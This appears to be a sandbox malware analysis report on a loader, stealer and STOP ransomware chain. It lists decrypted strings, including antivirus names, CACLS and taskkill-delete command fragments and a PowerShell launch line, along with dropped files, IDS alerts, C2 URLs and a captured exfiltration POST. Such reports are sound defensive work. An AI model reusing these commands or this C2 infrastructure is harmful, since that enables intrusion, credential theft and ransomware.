Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: ESET
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Panda Security
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Doctor Web
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 360TotalSecurity
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Bitdefender
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Norton
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Sophos
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Comodo
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: WinDefender
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 0123456789
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: ------
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: ?scr=1
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: .jpg
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: ComputerName
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: -unicode-
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: VideoID
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: \0000
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: ProductName
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 2019
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 2022
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 2016
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: CurrentBuild
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: echo Y\|CACLS "
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: " /P "
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: CACLS "
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: :R" /E
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: :F" /E
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &&Exit
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: rundll32.exe
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: "taskkill /f /im "
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: " && timeout 1 && del
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: && Exit"
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: " && ren
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: &&
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: Powershell.exe
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: .D\
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor:
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: N}
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: pa
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: yz
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: l
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: I5
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: {(s
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: 3M
Source: 22.2.NewPlayer.exe.60000.0.unpack	String decryptor: !m

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\57DC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9F31.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A3D5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BC2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D689.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EA44.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\388B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C861.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\673.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3E02.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6FA9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B8C8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F4F7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Joe Sandbox ML: detected

Source: D804.exe, 00000013.00000002.636070288.0000000003214000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Unpacked PE file: 6.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Unpacked PE file: 16.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Unpacked PE file: 19.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Unpacked PE file: 26.2.B46F.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Unpacked PE file: 29.2.A170.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Unpacked PE file: 31.2.D804.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Unpacked PE file: 32.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Unpacked PE file: 37.2.913F.exe.400000.0.unpack

Source: 01860199.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\_readme.txt
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File created: C:\Users\user\_readme.txt

Source: C:\Users\user\Desktop\01860199.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.9.35:443 -> 192.168.2.3:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.9.35:443 -> 192.168.2.3:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.66.203.53:443 -> 192.168.2.3:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.9.35:443 -> 192.168.2.3:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.234.35:443 -> 192.168.2.3:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:50031 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: D804.exe, 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, B46F.exe, 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A170.exe, 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 00000001.00000000.378518677.00007FFC1B351000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 00000001.00000000.378518677.00007FFC1B351000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: helppane.pdb source: 3C54.exe, 00000014.00000002.507574434.0000000003F70000.00000004.00000800.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644812591.00007FF777031000.00000020.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: NewPlayer.exe, 00000016.00000002.476201608.0000000000091000.00000002.00000001.01000000.00000011.sdmp, NewPlayer.exe, 00000016.00000000.461052075.0000000000091000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\sucagidupusehi\pahopigap\5\muhoyawa.pdb source: 01860199.exe, 00000000.00000000.351185873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, hwgujdv, 00000004.00000000.433612531.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: AC:\sucagidupusehi\pahopigap\5\muhoyawa.pdb source: 01860199.exe, 00000000.00000000.351185873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, hwgujdv, 00000004.00000000.433612531.0000000000401000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: TEST_mi_exe_stub.pdb source: D804.exe, 00000013.00000003.473635062.0000000009A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\huvuvig\juhohan\bamakexuvoni\vaxilil\javefi\5\liguvihahoca\suci.pdb source: explorer.exe, 00000001.00000003.439363024.0000000005973000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.438814937.00000000157FF000.00000004.00000010.00020000.00000000.sdmp, D804.exe
Source:	Binary string: CGC:\huvuvig\juhohan\bamakexuvoni\vaxilil\javefi\5\liguvihahoca\suci.pdb source: explorer.exe, 00000001.00000003.439363024.0000000005973000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.438814937.00000000157FF000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: D804.exe, 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, B46F.exe, 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A170.exe, 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: eex.pdb source: explorer.exe, 00000001.00000000.378518677.00007FFC1B351000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: )5C:\rusuxenalo\dutaz jale\puyenotak\tipibu.pdb source: explorer.exe, 00000001.00000003.443261343.0000000005975000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.443214371.0000000008581000.00000004.00000001.00020000.00000000.sdmp, C861.exe, 00000007.00000000.443424351.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\rusuxenalo\dutaz jale\puyenotak\tipibu.pdb source: explorer.exe, 00000001.00000003.443261343.0000000005975000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.443214371.0000000008581000.00000004.00000001.00020000.00000000.sdmp, C861.exe, 00000007.00000000.443424351.0000000000401000.00000020.00000001.01000000.00000009.sdmp

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: 5_2_00403870 GetStringTypeExA,FindFirstVolumeMountPointW,GetPrivateProfileIntA,WaitForSingleObject,FreeConsole,GetConsoleCursorInfo,GetModuleFileNameW,EnumFontsW,GetConsoleCursorInfo,GetModuleFileNameW,EnumFontsW,GetVersionExW,GetConsoleAliasesLengthA,SleepEx,CreateFileMappingW,CreateMutexA,GetCommState,FreeConsole,MapGenericMask,DebugBreak,AttachConsole,MapGenericMask,DebugBreak,FreeConsole,AttachConsole,FreeConsole,InterlockedExchangeAdd,WaitForMultipleObjectsEx,GetCharWidthW,GetCharABCWidthsFloatW,GetCharWidthW,GetCharABCWidthsFloatW,GetLastError,GetLastError,ReplaceFileA,WritePrivateProfileStringW,lstrcmpiW,CreateEventW,ReplaceFileA,WritePrivateProfileStringW,lstrcmpiW,CreateEventW,MulDiv,CreateActCtxA,GetFileAttributesExW,GetLogicalDriveStringsA,MulDiv,CreateActCtxA,GetFileAttributesExW,GetLogicalDriveStringsA,GetLongPathNameA,WritePrivateProfileStructW,IsBadReadPtr,CancelWaitableTimer,GetFileType,GetModuleHandleA,

5_2_00403870

Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: toobussy.com
Source: C:\Windows\explorer.exe	Network Connect: 123.140.161.243 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 80.66.203.53 443	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: colisumy.com
Source: C:\Windows\explorer.exe	Domain query: potunulit.org
Source: C:\Windows\explorer.exe	Domain query: speedlab.com.eg
Source: C:\Windows\explorer.exe	Network Connect: 45.9.74.80 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 217.174.148.28 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 175.119.10.231 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.114.97.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.40.39.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.114.96.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.119.84.112 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 183.100.39.157 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: shsplatform.co.uk
Source: C:\Windows\explorer.exe	Network Connect: 222.236.49.123 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 194.180.48.90 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 222.236.49.124 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2045695 ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) 192.168.2.3:57990 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2045695 ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) 192.168.2.3:56924 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2045695 ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) 192.168.2.3:53975 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.3:49713 -> 123.140.161.243:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.3:49713 -> 123.140.161.243:80
Source: Traffic	Snort IDS: 2045695 ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) 192.168.2.3:59636 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 175.119.10.231:80 -> 192.168.2.3:49711
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.3:49714 -> 211.59.14.90:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 211.59.14.90:80 -> 192.168.2.3:49714
Source: Traffic	Snort IDS: 2839238 ETPRO TROJAN Blackmoon CnC Activity 192.168.2.3:49720 -> 103.100.211.218:80
Source: Traffic	Snort IDS: 2045695 ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) 192.168.2.3:60767 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.3:49721 -> 175.119.10.231:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.3:49721 -> 175.119.10.231:80

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 30303
Source: unknown	Network traffic detected: HTTP traffic on port 30303 -> 50032

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 45.9.74.80/0bjdn2Z/index.php
Source: Malware configuration extractor	URLs: http://zexeq.com/raud/get.php
Source: Malware configuration extractor	URLs: http://toobussy.com/tmp/
Source: Malware configuration extractor	URLs: http://wuc11.com/tmp/
Source: Malware configuration extractor	URLs: http://ladogatur.ru/tmp/
Source: Malware configuration extractor	URLs: http://kingpirate.ru/tmp/
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199508624021
Source: Malware configuration extractor	URLs: https://t.me/looking_glassbot

Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTAzNzI2Host: 45.9.74.80Content-Length: 103878Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0bjdn2Z/Plugins/cred64.dll HTTP/1.1Host: 45.9.74.80
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
